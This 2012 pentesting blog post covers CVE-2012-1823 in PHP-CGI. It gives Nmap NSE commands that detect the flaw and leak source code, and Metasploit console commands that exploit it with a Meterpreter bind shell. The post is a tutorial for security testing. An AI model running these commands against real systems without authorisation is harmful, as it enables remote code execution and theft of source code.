Detecting and exploiting vulnerable PHP-CGI applications

Detecting and exploiting vulnerable PHP-CGI applications

Posted on May 27, 2012 by Paulino Calderon

A critical vulnerability affecting PHP applications which use the CGI interprerter was published at the beginning of this month ( This vulnerability leaks the source code of the application and allows remote code execution.


To detect vulnerable applications during a pentest, we can use the NSE script “http-cve2012-1823”:
$nmap -p80 --script http-cve2012-1823 target

When Nmap finds a vulnerable application, it will return something similar to this:

To get the source code of another application you can use the “uri” parameter:
$nmap -p80 --script http-cve2012-1823 --script-args uri=/login.php IP

Here you can watch a video demonstrating the process detection of vulnerable PHP-CGI applications.

This script was sent to Nmap's official repository with revision ID “28545” and should be available soon. In the meantime you can download it at:


The Metasploit project has contributed a module to help exploit this vulnerability. In order to do so:

> use exploit/multi/http/php_cgi_arg_injection
> set rhost IP
> set PAYLOAD php/meterpreter/bind_tcp
> exploit

If it is exploitable, meterpreter will kindly open a session:

Here you can watch a video demonstrating the process exploitation of vulnerable PHP-CGI applications using MSF.



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